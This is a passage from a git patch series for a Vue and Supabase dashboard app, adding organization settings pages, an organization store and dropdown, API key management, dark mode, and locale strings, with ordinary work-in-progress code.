From fbc31510ebd0928b904197836d2262badcb5cbc4 Mon Sep 17 00:00:00 2001
From: Peter Kompasz <kompaszbence@gmail.com>
Date: Fri, 18 Aug 2023 19:57:57 +0300
Subject: [PATCH 01/96] fix: typo

---
 supabase/migrations/20230815171919_base.sql | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index e4e2a87a94..caedcd9c4c 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -1053,8 +1053,8 @@ CREATE TABLE "public"."apps" (
     "name" character varying,
     "last_version" character varying,
     "updated_at" timestamp with time zone,
-    "id" "uuid" DEFAULT "extensions"."uuid_generate_v4"()
-    "retention" bigint NOT NULL DEFAULT '0'::bigint,
+    "id" "uuid" DEFAULT "extensions"."uuid_generate_v4"(),
+    "retention" bigint NOT NULL DEFAULT '0'::bigint
 );
 
 

From 784e44fc5a7959dd90af25c7fc56490d3baf2157 Mon Sep 17 00:00:00 2001
From: Peter Kompasz <kompaszbence@gmail.com>
Date: Sun, 20 Aug 2023 20:35:15 +0300
Subject: [PATCH 02/96] locales

---
 locales/en.yml | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/locales/en.yml b/locales/en.yml
index 4e51400ef7..d4b546f4b7 100644
--- a/locales/en.yml
+++ b/locales/en.yml
@@ -334,3 +334,9 @@ your-api-key: 'Your API key:'
 your-are-a: Your are a
 your-current-plan-is: Your current plan is
 your-current-suggested-plan-is: Your current suggested plan is
+general-information: General Informations
+members: Members
+save-changes: Save Changes
+cancel: Cancel
+add-member: Add Member
+

From 6fb197424993b96bb700d5fea5a50c1b1d2e169f Mon Sep 17 00:00:00 2001
From: Peter Kompasz <kompaszbence@gmail.com>
Date: Sun, 20 Aug 2023 20:35:20 +0300
Subject: [PATCH 03/96] feat: dark mode

---
 src/composables/dark.ts | 10 ++++++++--
 tailwind.config.js      |  1 +
 2 files changed, 9 insertions(+), 2 deletions(-)

diff --git a/src/composables/dark.ts b/src/composables/dark.ts
index 5976a5a639..0f8d4a6739 100644
--- a/src/composables/dark.ts
+++ b/src/composables/dark.ts
@@ -1,3 +1,9 @@
-import { useDark } from '@vueuse/core'
+import { useDark, useToggle } from '@vueuse/core'
 
-export const isDark = useDark()
+const isDark = useDark()
+const toggleDark = useToggle(isDark)
+
+export {
+  isDark,
+  toggleDark,
+}
diff --git a/tailwind.config.js b/tailwind.config.js
index 3af5e46a6b..326024b62c 100644
--- a/tailwind.config.js
+++ b/tailwind.config.js
@@ -16,6 +16,7 @@ const base100 = '#2A303C'
 const info = '#3ABFF8'
 
 module.exports = konstaConfig({
+  darkMode: 'class',
   konsta: {
     colors: {
       primary,

From 58fa7b05914fc9d6871fd74b6f15cb72c3ed089d Mon Sep 17 00:00:00 2001
From: Peter Kompasz <kompaszbence@gmail.com>
Date: Sun, 20 Aug 2023 20:35:38 +0300
Subject: [PATCH 04/96] feat: Organization dropdown

---
 .../dashboard/DropdownOrganization.vue        | 28 +++++++++++++++++++
 1 file changed, 28 insertions(+)
 create mode 100644 src/components/dashboard/DropdownOrganization.vue

diff --git a/src/components/dashboard/DropdownOrganization.vue b/src/components/dashboard/DropdownOrganization.vue
new file mode 100644
index 0000000000..5c0ffb6381
--- /dev/null
+++ b/src/components/dashboard/DropdownOrganization.vue
@@ -0,0 +1,28 @@
+<script setup lang="ts">
+import { storeToRefs } from 'pinia'
+import { onMounted } from 'vue'
+import { useOrganizationStore } from '~/stores/organization'
+
+const organizationStore = useOrganizationStore()
+
+onMounted(async () => {
+  const { currentOrganization, organizations } = storeToRefs(organizationStore)
+  await organizationStore.fetchOrganizations()
+})
+</script>
+
+<template>
+  <button v-if="currentOrganization" id="organization-picker" data-dropdown-toggle="dropdown" class="text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center inline-flex items-center dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800" type="button">
+    {{ currentOrganization?.name }}
+    <svg class="w-2.5 h-2.5 ml-2.5" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 10 6">
+      <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="m1 1 4 4 4-4" />
+    </svg>
+  </button>
+  <div id="dropdown" class="z-10 hidden bg-white divide-y divide-gray-100 rounded-lg shadow w-44 dark:bg-gray-700">
+    <ul class="py-2 text-sm text-gray-700 dark:text-gray-200" aria-labelledby="dropdownDefaultButton">
+      <li v-for="org in organizations" :key="org.id">
+        <a class="block px-4 py-2 hover:bg-gray-100 dark:hover:bg-gray-600 dark:hover:text-white">{{ org.name }}</a>
+      </li>
+    </ul>
+  </div>
+</template>

From a901e562af9c1fee46d2059ad86a89b25a11ac55 Mon Sep 17 00:00:00 2001
From: Peter Kompasz <kompaszbence@gmail.com>
Date: Sun, 20 Aug 2023 20:35:58 +0300
Subject: [PATCH 05/96] feat: organization store

---
 src/stores/organization.ts | 79 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 79 insertions(+)
 create mode 100644 src/stores/organization.ts

diff --git a/src/stores/organization.ts b/src/stores/organization.ts
new file mode 100644
index 0000000000..1a97d81fea
--- /dev/null
+++ b/src/stores/organization.ts
@@ -0,0 +1,79 @@
+import { defineStore } from 'pinia'
+import { computed, ref } from 'vue'
+import type { ComputedRef, Ref } from 'vue'
+import type { Database } from '~/types/supabase.types'
+
+type User = Database['public']['Tables']['users']['Row']
+type Organization = Database['public']['Tables']['orgs']['Row']
+// TODO Create user rights in database
+// type Right = Database['public']['Tables']['user_rights']['Row']
+type Right = 'create' | 'read' | 'update' | 'delete'
+
+export const useOrganizationStore = defineStore('organization', () => {
+  const _organizations: Ref<Map<string, Organization>> = ref(new Map())
+
+  const organizations: ComputedRef<Organization[]> = computed(
+    () => {
+      return Array.from(
+        _organizations.value, ([key, value]) => value,
+      )
+    },
+  )
+
+  const currentOrganization = ref()
+
+  const setCurrentOrganization = (id: string) => {
+    currentOrganization.value = organizations.value.find(org => org.id === id)
+  }
+
+  const fetchOrganizations = () => {
+    // ...
+    if (!currentOrganization.value)
+      currentOrganization.value = organizations.value[0]
+  }
+
+  const createOrganization = (name: string, logo?: string) => {
+    throw new Error('Not implemented')
+  }
+
+  const updateOrganization = (name: string, logo?: string) => {
+    throw new Error('Not implemented')
+  }
+
+  const deleteOrganization = (name: string, logo?: string) => {
+    throw new Error('Not implemented')
+  }
+
+  const getUsers = (orgId: string): User[] => {
+    throw new Error('Not implemented')
+  }
+
+  const addUser = (newUserId: string) => {
+    throw new Error('Not implemented')
+  }
+
+  const deleteUser = (newUserId: string) => {
+    throw new Error('Not implemented')
+  }
+
+  const updateRightForUser = (userId: string, right: Right) => {
+    throw new Error('Not implemented')
+  }
+
+  /**
+   *
+   * @brief Create Stripe hosted solution
+   * @param orgId
+   * @returns
+   */
+  const getBillingInformation = (orgId: string) => {
+    return ''
+  }
+
+  return {
+    organizations,
+    currentOrganization,
+    setCurrentOrganization,
+    fetchOrganizations,
+  }
+})

From 9b4cac8e4193e20abbf6f8fd69fc1749eed20b06 Mon Sep 17 00:00:00 2001
From: Peter Kompasz <kompaszbence@gmail.com>
Date: Sun, 20 Aug 2023 20:37:07 +0300
Subject: [PATCH 06/96] feat: Organization settings

---
 src/layouts/settings.vue | 65 ++++++++++++++++++++++++++++++++++++++--
 1 file changed, 62 insertions(+), 3 deletions(-)

diff --git a/src/layouts/settings.vue b/src/layouts/settings.vue
index ad6fe15cb8..a90a54ae77 100644
--- a/src/layouts/settings.vue
+++ b/src/layouts/settings.vue
@@ -1,7 +1,8 @@
 <script setup lang="ts">
-import { ref, shallowRef } from 'vue'
+import { ref, shallowRef, watch } from 'vue'
 import { useI18n } from 'vue-i18n'
 import { Capacitor } from '@capacitor/core'
+import { useRouter } from 'vue-router'
 import Sidebar from '../components/Sidebar.vue'
 import Navbar from '../components/Navbar.vue'
 import { useDisplayStore } from '~/stores/display'
@@ -44,6 +45,44 @@ const tabs = ref<Tab[]>([
     key: '/dashboard/settings/plans',
   },
 ])
+
+const organizationTabs = ref<Tab[]>([
+  {
+    label: t('general-information'),
+    icon: shallowRef(IconAcount),
+    key: '/dashboard/settings/organization/general',
+  },
+  {
+    label: t('members'),
+    icon: shallowRef(IconPassword),
+    key: '/dashboard/settings/organization/members',
+  },
+  {
+    label: t('api-keys'),
+    icon: shallowRef(IconNotification),
+    key: '/dashboard/settings/organization/api-keys',
+  },
+  {
+    label: t('billing'),
+    icon: shallowRef(IconPlans),
+    key: '/dashboard/settings/organization/billing',
+  },
+])
+
+const type: 'user' | 'organization' = ref('user')
+const router = useRouter()
+
+watch(type, (val) => {
+  let key
+  if (val === 'user')
+    key = tabs.value[0].key
+
+  else
+    key = organizationTabs.value[0].key
+
+  router.push(key)
+})
+
 if (!Capacitor.isNativePlatform()) {
   tabs.value.push({
     label: t('billing'),
@@ -75,10 +114,30 @@ displayStore.NavTitle = t('settings')
     <div class="flex flex-col flex-1 h-full overflow-hidden">
       <!-- Site header -->
       <Navbar :sidebar-open="sidebarOpen" @toggle-sidebar="sidebarOpen = !sidebarOpen" />
+      <div class="text-sm font-medium text-center text-gray-500 border-b border-gray-200 dark:text-gray-400 dark:border-gray-700">
+        <ul class="flex flex-wrap -mb-px">
+          <li class="mr-2">
+            <a
+              href="#" class="inline-block p-4 border-b-2 rounded-t-lg"
+              :class="type === 'user' ? 'text-blue-600 border-blue-600 active dark:text-blue-500 dark:border-blue-500' : 'dark:hover:text-gray-300'"
+              aria-current="page"
+              @click="type = 'user'"
+            >Your settings</a>
+          </li>
+          <li class="mr-2">
+            <a
+              href="#" class="inline-block p-4 border-b-2 rounded-t-lg"
+              :class="type === 'organization' ? 'text-blue-600 border-blue-600 active dark:text-blue-500 dark:border-blue-500' : 'dark:hover:text-gray-300'"
+              aria-current="page"
+              @click="type = 'organization'"
+            >{{ currentOrganization ? `${currentOrganization.name}'s settings'` : 'Organization settings' }} </a>
+          </li>
+        </ul>
+      </div>
       <main class="w-full h-full overflow-hidden">
-        <TabSidebar v-model:active-tab="ActiveTab" :tabs="tabs" class="w-full h-full mx-auto md:px-4 md:py-8 lg:px-8 max-w-9xl">
+        <TabSidebar v-model:active-tab="ActiveTab" :tabs="type === 'user' ? tabs : organizationTabs" class="w-full h-full mx-auto md:px-4 md:py-8 lg:px-8 max-w-9xl">
           <template #default>
-            <RouterView class="h-full overflow-y-scroll" />
+            <RouterView class="h-full" />
           </template>
         </TabSidebar>
       </main>

From e71e1874ea7502fdc6f942e7ee6779da7dbb3524 Mon Sep 17 00:00:00 2001
From: Peter Kompasz <kompaszbence@gmail.com>
Date: Sun, 20 Aug 2023 20:38:18 +0300
Subject: [PATCH 07/96] feat: getOrgs

---
 src/services/supabase.ts              | 13 +++++++++++++
 src/types/supabase.types.ts           |  6 ++++++
 supabase/functions/_utils/supabase.ts | 12 ++++++++++++
 3 files changed, 31 insertions(+)

diff --git a/src/services/supabase.ts b/src/services/supabase.ts
index 6edcee7268..571c0cec02 100644
--- a/src/services/supabase.ts
+++ b/src/services/supabase.ts
@@ -124,6 +124,19 @@ export async function isGoodPlan(userId: string): Promise<boolean> {
 
   return data || false
 }
+
+export async function getOrgs(userId: string): Promise<[]> {
+  const { data, error } = await useSupabase()
+    .rpc('get_orgs', { userid: userId })
+    .single()
+  if (error) {
+    console.error('getOrgs error', error.message)
+    throw new Error(error.message)
+  }
+
+  return data || ['asd']
+}
+
 export async function isTrial(userId: string): Promise<number> {
   const { data, error } = await useSupabase()
     .rpc('is_trial', { userid: userId })
diff --git a/src/types/supabase.types.ts b/src/types/supabase.types.ts
index cdf463d468..806cf1031e 100644
--- a/src/types/supabase.types.ts
+++ b/src/types/supabase.types.ts
@@ -1553,6 +1553,12 @@ export interface Database {
         }
         Returns: number
       }
+      get_orgs: {
+        Args:  {
+          userid: string
+        }
+        Retuns: Array<Object>
+      }
       is_version_shared: {
         Args: {
           userid: string
diff --git a/supabase/functions/_utils/supabase.ts b/supabase/functions/_utils/supabase.ts
index 6932d20778..b4fb3b2c52 100644
--- a/supabase/functions/_utils/supabase.ts
+++ b/supabase/functions/_utils/supabase.ts
@@ -242,6 +242,18 @@ export async function getPlanUsagePercent(userId: string, dateid: string): Promi
   return data || 0
 }
 
+export async function getOrgs(userId: string): Promise<number> {
+  const { data, error } = await supabaseAdmin()
+    .rpc('get_orgs', { userid: userId })
+    .single()
+  if (error) {
+    console.error('getOrgs error', error.message)
+    throw new Error(error.message)
+  }
+
+  return data || 0
+}
+
 export async function isGoodPlan(userId: string): Promise<boolean> {
   try {
     const { data } = await supabaseAdmin()

From 53bdc70a116aaf1806bfc03d4543c81ed8e0a55e Mon Sep 17 00:00:00 2001
From: Peter Kompasz <kompaszbence@gmail.com>
Date: Sun, 20 Aug 2023 20:38:59 +0300
Subject: [PATCH 08/96] feat: Organization dropdown

---
 src/components/Navbar.vue | 72 ++++++++++++++++++++++++---------------
 1 file changed, 45 insertions(+), 27 deletions(-)

diff --git a/src/components/Navbar.vue b/src/components/Navbar.vue
index 6e686b2998..75432fbf74 100644
--- a/src/components/Navbar.vue
+++ b/src/components/Navbar.vue
@@ -1,8 +1,12 @@
 <script setup lang="ts">
 import { useI18n } from 'vue-i18n'
 import { useRouter } from 'vue-router'
+import { onMounted, ref } from 'vue'
+import { getOrgs } from '../services/supabase'
 import UserMenu from '../components/dashboard/DropdownProfile.vue'
+import DropdownOrganization from './dashboard/DropdownOrganization.vue'
 import Banner from './Banner.vue'
+import { useMainStore } from '~/stores/main'
 import { useDisplayStore } from '~/stores/display'
 import IconBack from '~icons/material-symbols/arrow-back-ios-rounded'
 import IconMenu from '~icons/material-symbols/menu-rounded'
@@ -15,6 +19,15 @@ const props = defineProps({
 })
 
 defineEmits(['toggleSidebar'])
+const main = useMainStore()
+console.log(main.user)
+
+const orgs = ref()
+onMounted(async () => {
+  if (main.user)
+    orgs.value = await getOrgs(main.user?.id)
+})
+
 const router = useRouter()
 
 const displayStore = useDisplayStore()
@@ -28,37 +41,42 @@ const { t } = useI18n()
 </script>
 
 <template>
-  <div>
-    <header class="border-b border-slate-200 bg-white/90 backdrop-blur-xl dark:bg-gray-900/90">
-      <div class="px-4 lg:px-8 sm:px-6">
-        <div class="relative flex items-center justify-between h-16 -mb-px">
-          <!-- Header: Left side -->
-          <div class="flex">
-            <div v-if="displayStore.NavTitle" class="pr-2">
-              <button class="flex" @click="back()">
-                <IconBack class="w-6 h-6 fill-current text-slate-500 dark:text-white hover:text-slate-600 dark:hover:text-slate-50" />
-                <span class="hidden text-dark md:block dark:text-white">{{ t('button-back') }}</span>
-              </button>
-            </div>
-            <!-- Hamburger button -->
-            <button class="text-slate-500 lg:hidden dark:text-white hover:text-slate-600 dark:hover:text-slate-50" aria-controls="sidebar" :aria-expanded="props.sidebarOpen" @click.stop="$emit('toggleSidebar')">
-              <span class="sr-only">{{ t('open-sidebar') }}</span>
-              <IconMenu class="w-6 h-6 fill-current" />
+  <header class="border-b border-slate-200 bg-white/90 backdrop-blur-xl dark:bg-gray-900/90">
+    <div class="px-4 lg:px-8 sm:px-6">
+      <div class="relative flex items-center justify-between h-16 -mb-px">
+        <!-- Header: Left side -->
+        <div class="flex">
+          <div v-if="displayStore.NavTitle" class="pr-2">
+            <button class="flex" @click="back()">
+              {{ orgs }}
+              <IconBack
+                class="w-6 h-6 fill-current text-slate-500 dark:text-white hover:text-slate-600 dark:hover:text-slate-50"
+              />
+              <span class="hidden text-dark md:block dark:text-white">{{ t('button-back') }}</span>
             </button>
           </div>
+          <!-- Hamburger button -->
+          <button
+            class="text-slate-500 lg:hidden dark:text-white hover:text-slate-600 dark:hover:text-slate-50"
+            aria-controls="sidebar" :aria-expanded="props.sidebarOpen" @click.stop="$emit('toggleSidebar')"
+          >
+            <span class="sr-only">{{ t('open-sidebar') }}</span>
+            <IconMenu class="w-6 h-6 fill-current" />
+          </button>
+          <DropdownOrganization />
+        </div>
 
-          <div class="lg:absolute lg:inset-y-5 lg:left-1/2 lg:-translate-x-1/2">
-            <div class="flex-shrink-0 font-bold text-md text-dark dark:text-white">
-              {{ displayStore.NavTitle }}
-            </div>
-          </div>
-          <!-- Header: Right side -->
-          <div class="flex items-center space-x-3">
-            <UserMenu align="right" />
+        <div class="lg:absolute lg:inset-y-5 lg:left-1/2 lg:-translate-x-1/2">
+          <div class="flex-shrink-0 font-bold text-md text-dark dark:text-white">
+            {{ displayStore.NavTitle }}
           </div>
         </div>
+        <!-- Header: Right side -->
+        <div class="flex items-center space-x-3">
+          <UserMenu align="right" />
+        </div>
       </div>
-      <Banner />
-    </header>
-  </div>
+    </div>
+    <Banner />
+  </header>
 </template>

From 4f387df74d9465be95c4c27adbc800e1c7c23575 Mon Sep 17 00:00:00 2001
From: Peter Kompasz <kompaszbence@gmail.com>
Date: Sun, 20 Aug 2023 20:40:25 +0300
Subject: [PATCH 09/96] feat: Organization settings tabs

---
 .../settings/organization/Api-Keys.vue        | 233 ++++++++++++++++++
 .../settings/organization/General.vue         | 104 ++++++++
 .../settings/organization/Members.vue         |  61 +++++
 3 files changed, 398 insertions(+)
 create mode 100644 src/pages/dashboard/settings/organization/Api-Keys.vue
 create mode 100644 src/pages/dashboard/settings/organization/General.vue
 create mode 100644 src/pages/dashboard/settings/organization/Members.vue

diff --git a/src/pages/dashboard/settings/organization/Api-Keys.vue b/src/pages/dashboard/settings/organization/Api-Keys.vue
new file mode 100644
index 0000000000..eaab977b0a
--- /dev/null
+++ b/src/pages/dashboard/settings/organization/Api-Keys.vue
@@ -0,0 +1,233 @@
+<script setup lang="ts">
+import { ref } from 'vue'
+import { useI18n } from 'vue-i18n'
+import { toast } from 'vue-sonner'
+import copy from 'copy-text-to-clipboard'
+import { useSupabase } from '~/services/supabase'
+import type { Database } from '~/types/supabase.types'
+import { useMainStore } from '~/stores/main'
+import { useDisplayStore } from '~/stores/display'
+import Plus from '~icons/heroicons/plus'
+import Trash from '~icons/heroicons/trash'
+import Pencil from '~icons/heroicons/pencil'
+import Clipboard from '~icons/heroicons/clipboard-document'
+
+const { t } = useI18n()
+const displayStore = useDisplayStore()
+const main = useMainStore()
+const isLoading = ref(false)
+const supabase = useSupabase()
+const apps = ref<Database['public']['Tables']['apikeys']['Row'][]>()
+async function getKeys(retry = true): Promise<void> {
+  isLoading.value = true
+  const { data } = await supabase
+    .from('apikeys')
+    .select()
+    .eq('user_id', main.user?.id)
+  if (data && data.length)
+    apps.value = data
+
+  else if (retry && main.user?.id)
+    return getKeys(false)
+
+  isLoading.value = false
+}
+displayStore.NavTitle = ''
+getKeys()
+
+async function addNewApiKey() {
+  if (await showAddNewKeyModal())
+    return
+
+  const keyType = displayStore.lastButtonRole
+
+  let databaseKeyType: 'read' | 'write' | 'all' | 'upload'
+
+  switch (keyType) {
+    case 'cancel':
+    case '':
+      return
+    case 'read-button':
+      databaseKeyType = 'read'
+      break
+    case 'upload-button':
+      databaseKeyType = 'upload'
+      break
+    case 'all-button':
+      databaseKeyType = 'all'
+      break
+    default:
+      return
+  }
+
+  const newApiKey = crypto.randomUUID()
+  const { data: { user } } = await supabase.auth.getUser()
+
+  if (!user) {
+    console.log('Not logged in, cannot regenerate API key')
+    return
+  }
+
+  const { data, error } = await supabase
+    .from('apikeys')
+    .upsert({ user_id: user.id, key: newApiKey, mode: databaseKeyType })
+    .select()
+
+  if (error)
+    throw error
+
+  apps.value?.push(data[0])
+  toast.success(t('add-api-key'))
+}
+
+async function regenrateKey(app: Database['public']['Tables']['apikeys']['Row']) {
+  if (await showRegenerateKeyModal())
+    return
+
+  const newApiKey = crypto.randomUUID()
+  const { data: { user } } = await supabase.auth.getUser()
+
+  if (!user) {
+    console.log('Not logged in, cannot regenerate API key')
+    return
+  }
+
+  const { error } = await supabase
+    .from('apikeys')
+    .update({ key: newApiKey })
+    .eq('user_id', user.id)
+    .eq('key', app.key)
+
+  if (error || typeof newApiKey !== 'string')
+    throw error
+
+  app.key = newApiKey
+
+  toast.success(t('generated-new-apikey'))
+}
+
+async function deleteKey(app: Database['public']['Tables']['apikeys']['Row']) {
+  if (await showDeleteKeyModal())
+    return
+
+  const { error } = await supabase
+    .from('apikeys')
+    .delete()
+    .eq('key', app.key)
+
+  if (error)
+    throw error
+
+  toast.success(t('removed-apikey'))
+  apps.value = apps.value?.filter(filterKey => filterKey.key !== app.key)
+}
+
+// This returns true if user has canceled the action
+async function showRegenerateKeyModal() {
+  displayStore.dialogOption = {
+    header: t('alert-confirm-regenerate'),
+    message: `${t('alert-not-reverse-message')}. ${t('alert-regenerate-key')}?`,
+    buttons: [
+      {
+        text: t('button-cancel'),
+        role: 'cancel',
+      },
+      {
+        text: t('button-regenerate'),
+        id: 'confirm-button',
+      },
+    ],
+  }
+  displayStore.showDialog = true
+  return displayStore.onDialogDismiss()
+}
+
+async function showDeleteKeyModal() {
+  displayStore.dialogOption = {
+    header: t('alert-confirm-delete'),
+    message: `${t('alert-not-reverse-message')} ${t('alert-delete-message')}?`,
+    buttons: [
+      {
+        text: t('button-cancel'),
+        role: 'cancel',
+      },
+      {
+        text: t('button-delete'),
+        id: 'confirm-button',
+      },
+    ],
+  }
+  displayStore.showDialog = true
+  return displayStore.onDialogDismiss()
+}
+
+async function showAddNewKeyModal() {
+  displayStore.dialogOption = {
+    header: t('alert-add-new-key'),
+    message: t('alert-generate-new-key'),
+    buttons: [
+      {
+        text: t('button-cancel'),
+        role: 'cancel',
+      },
+      {
+        text: t('key-read'),
+        id: 'read-button',
+      },
+      {
+        text: t('key-upload'),
+        id: 'upload-button',
+      },
+      {
+        text: t('key-all'),
+        id: 'all-button',
+      },
+    ],
+  }
+  displayStore.showDialog = true
+  return displayStore.onDialogDismiss()
+}
+
+async function copyKey(app: Database['public']['Tables']['apikeys']['Row']) {
+  copy(app.key)
+  console.log('displayStore.messageToast', displayStore.messageToast)
+  toast.success(t('key-copied'))
+}
+</script>
+
+<template>
+  <div class="w-full h-full px-4 py-8 mx-auto max-w-9xl lg:px-8 sm:px-6">
+    <!-- Page header -->
+    <div class="mb-6 flex flex-row w-[66.666667%] ml-auto mr-auto">
+      <!-- Title -->
+      <h1 class="ml-2 text-2xl font-bold text-slate-800 md:text-3xl dark:text-white">
+        {{ t('api-keys') }}
+      </h1>
+      <button class=" ml-auto mr-2" @click="addNewApiKey()">
+        <Plus class="text-green-500" />
+      </button>
+    </div>
+    <div class="flex flex-col">
+      <div class="flex flex-col bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-2/3 md:border dark:border-slate-900 md:rounded-lg dark:bg-slate-800 overflow-hidden">
+        <dl class="divide-y divide-gray-500">
+          <InfoRow v-for="app in apps" :key="app.id" :label="app.mode.toUpperCase()" :value="app.key" :is-link="true">
+            <button class="w-7 h-7 bg-transparent ml-auto" @click="regenrateKey(app)">
+              <Pencil class="mr-4 text-lg" />
+            </button>
+            <button class="w-7 h-7 bg-transparent ml-auto" @click="copyKey(app)">
+              <Clipboard class="mr-4 text-lg" />
+            </button>
+            <button class="w-7 h-7 bg-transparent ml-4" @click="deleteKey(app)">
+              <Trash class="mr-4 text-lg text-red-600" />
+            </button>
+          </InfoRow>
+        </dl>
+      </div>
+    </div>
+  </div>
+</template>
+
+<route lang="yaml">
+meta:
+  layout: settings
+</route>
diff --git a/src/pages/dashboard/settings/organization/General.vue b/src/pages/dashboard/settings/organization/General.vue
new file mode 100644
index 0000000000..7ecf50f805
--- /dev/null
+++ b/src/pages/dashboard/settings/organization/General.vue
@@ -0,0 +1,104 @@
+<script setup lang="ts">
+import { ref } from 'vue'
+import { useI18n } from 'vue-i18n'
+import { storeToRefs } from 'pinia'
+import { useOrganizationStore } from '~/stores/organization'
+import { useDisplayStore } from '~/stores/display'
+
+const { t } = useI18n()
+
+const organizationStore = useOrganizationStore()
+const displayStore = useDisplayStore()
+
+const { currentOrganization } = storeToRefs(organizationStore)
+
+const logo = ref(currentOrganization.logo)
+const name = ref('')
+
+async function presentActionSheet() {
+  displayStore.showActionSheet = true
+  displayStore.actionSheetOption = {
+    header: '',
+    buttons: [
+      {
+        text: t('button-camera'),
+        handler: () => {
+          displayStore.showActionSheet = false
+        },
+      },
+      {
+        text: t('button-browse'),
+        handler: () => {
+          displayStore.showActionSheet = false
+        },
+      },
+      {
+        text: t('button-cancel'),
+        role: 'cancel',
+        handler: () => {
+          console.log('Cancel clicked')
+        },
+      },
+    ],
+  }
+}
+</script>
+
+<template>
+  <div class="h-full p-8 max-h-fit grow md:pb-0 overflow-hidden" style="min-height: 100%;">
+    <!-- TODO Classes are not working -->
+    <FormKit id="update-account" type="form" :actions="false" class="min-h-[100%] flex flex-col justify-between" style="min-height: 100%; display: flex; flex-direction: column;" @submit="submit">
+      <div>
+        <section>
+          <div class="flex items-center">
+            <div class="mr-4">
+              <img
+                v-if="currentOrganization?.logo" class="object-cover w-20 h-20 mask mask-squircle" :src="logo"
+                width="80" height="80" alt="User upload"
+              >
+              <div v-else class="flex items-center justify-center w-20 h-20 text-4xl border border-black rounded-full dark:border-white">
+                <p>{{ 'N/A' }}</p>
+              </div>
+            </div>
+            <button type="button" class="px-3 py-2 text-xs font-medium text-center text-white bg-blue-700 rounded-lg hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800" @click="presentActionSheet">
+              {{ t('change') }}
+            </button>
+          </div>
+        </section>
+        <h2 class="mb-5 text-2xl font-bold text-slate-800 dark:text-white">
+          {{ t('general-information') }}
+        </h2>
+        <div>{{ 'You can modify the organization\'s informations here.' }}</div>
+        <div class="mb-6">
+          <label for="base-input" class="block mb-2 text-sm font-medium text-gray-900 dark:text-white">{{ 'Organization Name' }}</label>
+          <input id="base-input" v-model="name" type="text" class="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block p-2.5 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500">
+        </div>
+      </div>
+      <footer style="margin-top: auto">
+        <div class="flex flex-col px-6 py-5 border-t border-slate-200">
+          <div class="flex self-end">
+            <button type="button" class="text-white bg-gray-800 hover:bg-gray-900 focus:outline-none focus:ring-4 focus:ring-gray-300 font-medium rounded-lg text-sm px-5 py-2.5 mr-2 mb-2 dark:bg-gray-800 dark:hover:bg-gray-700 dark:focus:ring-gray-700 dark:border-gray-700" @click="deleteAccount()">
+              {{ t('cancel') }}
+            </button>
+            <button
+              class="text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 mr-2 mb-2 dark:bg-blue-600 dark:hover:bg-blue-700 focus:outline-none dark:focus:ring-blue-800"
+              type="submit"
+              color="secondary"
+              shape="round"
+            >
+              <span v-if="!isLoading" class="rounded-4xl">
+                {{ t('save-changes') }}
+              </span>
+              <Spinner v-else size="w-8 h-8" class="px-4" color="fill-gray-100 text-gray-200 dark:text-gray-600" />
+            </button>
+          </div>
+        </div>
+      </footer>
+    </FormKit>
+  </div>
+</template>
+
+<route lang="yaml">
+meta:
+  layout: settings
+</route>
diff --git a/src/pages/dashboard/settings/organization/Members.vue b/src/pages/dashboard/settings/organization/Members.vue
new file mode 100644
index 0000000000..e652be0879
--- /dev/null
+++ b/src/pages/dashboard/settings/organization/Members.vue
@@ -0,0 +1,61 @@
+<script setup lang="ts">
+import { onMounted, ref } from 'vue'
+import { useI18n } from 'vue-i18n'
+import { storeToRefs } from 'pinia'
+import { useOrganizationStore } from '~/stores/organization'
+import { useDisplayStore } from '~/stores/display'
+import Plus from '~icons/heroicons/plus'
+
+const { t } = useI18n()
+
+const organizationStore = useOrganizationStore()
+const displayStore = useDisplayStore()
+
+const { currentOrganization } = storeToRefs(organizationStore)
+
+const members = ref([])
+
+onMounted(async () => {
+  members.value = organizationStore.getMembers(currentOrganization.id)
+})
+</script>
+
+<template>
+  <div class="h-full p-8 max-h-fit grow md:pb-0 overflow-hidden">
+    <div class="flex justify-between w-full">
+      <h2 class="mb-5 text-2xl font-bold text-slate-800 dark:text-white">
+        {{ t('members') }}
+      </h2>
+      <button type="button" class="text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium text-sm px-5 py-2.5 text-center inline-flex items-center mr-2 dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800">
+        <Plus />
+        {{ t('add-member') }}
+      </button>
+    </div>
+    <div v-for="member in members" :key="member.id">
+      <div class="flex justify-between">
+        <div class="flex">
+          <img
+            v-if="member?.profilePhoto" class="object-cover w-20 h-20 mask mask-squircle" :src="member.profilePhoto"
+            width="80" height="80" alt="profile_photo"
+          >
+          <div v-else class="flex items-center justify-center w-20 h-20 text-4xl border border-black rounded-full dark:border-white">
+            <p>{{ 'N/A' }}</p>
+          </div>
+          {{ member.name }}
+        </div>
+        <div>
+          <p class="text-lg font-medium text-gray-900 dark:text-white">
+            ...
+          </p>
+        </div>
+      </div>
+      <div>{{ member.position }}</div>
+      <div>{{ member.role }}</div>
+    </div>
+  </div>
+</template>
+
+<route lang="yaml">
+meta:
+  layout: settings
+</route>

From 513c56d98d69227c1addb66ac06c50c3509fb710 Mon Sep 17 00:00:00 2001
From: Peter Kompasz <kompaszbence@gmail.com>
Date: Sun, 20 Aug 2023 20:41:09 +0300
Subject: [PATCH 10/96] feat: toggle dark mode

---
 src/components/dashboard/DropdownProfile.vue | 8 ++++++++
